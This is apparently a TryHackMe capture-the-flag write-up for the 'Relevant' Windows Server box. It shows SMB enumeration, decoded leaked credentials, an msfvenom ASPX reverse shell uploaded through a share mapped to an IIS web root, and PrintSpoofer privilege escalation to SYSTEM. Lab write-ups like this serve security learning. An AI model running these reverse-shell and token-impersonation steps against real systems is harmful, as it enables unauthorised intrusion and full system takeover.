← All write-ups

Relevant

An SMB share that turns out to be the same folder as a second, undocumented IIS site.

TryHackMe · SMB Exploitation / Windows Server / Privilege Escalation

Objective

Windows Server 2016 box — get the user and root flags.

Open ports:


1. Initial Recon

Ran a full service scan:

nmap 10.65.133.232 -sV -sC

Notable findings:

A full port sweep (nmap -p- -T4) later revealed three additional high ports not shown by default: 49663, 49666, 49667. The latter two were generic Windows RPC endpoint mapper ports (dead ends). Port 49663 turned out to be a second IIS site instance — this became central to the exploitation path.

2. SMB Enumeration

Checked for anonymous/guest SMB share access:

smbclient -L //10.65.133.232/ -N

Found a share with an unusual name: nt4wrksv. Connecting to it anonymously revealed:

smbclient //10.65.133.232/nt4wrksv -N
passwords.txt

3. Decoding Credentials

Downloaded and read passwords.txt, which contained two Base64-encoded lines:

Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Decoded both:

echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d

Result:

4. Dead Ends (Documented for Reference)

Before finding the correct path, several reasonable avenues were tried and ruled out:

5. The Actual Path: SMB Share Mapped to IIS Web Root

The key insight: the nt4wrksv SMB share is the same physical folder as a subdirectory of the IIS site running on port 49663 (C:\inetpub\wwwroot\nt4wrksv). Anything uploaded via SMB to that share becomes immediately accessible — and executable, if it's a server-side script — over HTTP at:

http://10.65.133.232:49663/nt4wrksv/<filename>

This wasn't discoverable via directory brute-forcing on the web root alone, since nt4wrksv isn't a "guessable" wordlist entry — the connection had to be inferred from the fact that the SMB share and the web port shared the same underlying content.

6. Getting a Shell

Generated a Windows reverse shell payload in ASPX format:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f aspx -o shell.aspx

Uploaded it to the writable share using Bob's credentials:

smbclient //10.65.133.232/nt4wrksv -U 'Bob%!P@$$W0rD!123'
put shell.aspx

Started a listener:

nc -lvnp 4444

Triggered the payload via the correct web path:

curl http://10.65.133.232:49663/nt4wrksv/shell.aspx

Caught a reverse shell running as the IIS application pool identity.

7. Finding the User Flag

Read the user flag directly from Bob's desktop:

type C:\Users\Bob\Desktop\user.txt

8. Privilege Escalation

Checked current privileges:

whoami /priv

Result showed:

SeImpersonatePrivilege        Impersonate a client after authentication    Enabled

This is a well-known misconfiguration — a service account with SeImpersonatePrivilege enabled can be abused via token impersonation exploits (like JuicyPotato or, more reliably here, PrintSpoofer) to escalate to NT AUTHORITY\SYSTEM.

Uploaded PrintSpoofer64.exe via the same writable SMB share:

smbclient //10.65.133.232/nt4wrksv -U 'Bob%!P@$$W0rD!123'
put PrintSpoofer64.exe

Executed it from the reverse shell:

cd C:\inetpub\wwwroot\nt4wrksv
PrintSpoofer64.exe -i -c cmd

This spawned a new cmd.exe process running as NT AUTHORITY\SYSTEM.

9. Root Flag

Confirmed elevated access and retrieved the final flag:

whoami
type C:\Users\Administrator\Desktop\root.txt

Key Takeaways